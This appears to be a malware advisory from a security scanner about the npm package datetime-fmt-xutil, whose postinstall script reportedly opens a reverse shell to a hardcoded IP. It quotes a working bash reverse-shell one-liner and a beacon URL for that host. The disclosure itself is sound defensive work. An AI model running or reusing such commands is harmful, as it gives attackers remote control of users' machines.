datetime-fmt-xutil @1.0.0

Summary

The npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash ( bash -i >& /dev/tcp/8.135.48.40/4444 0>&1 ) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.

Source: amazon-inspector (7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997)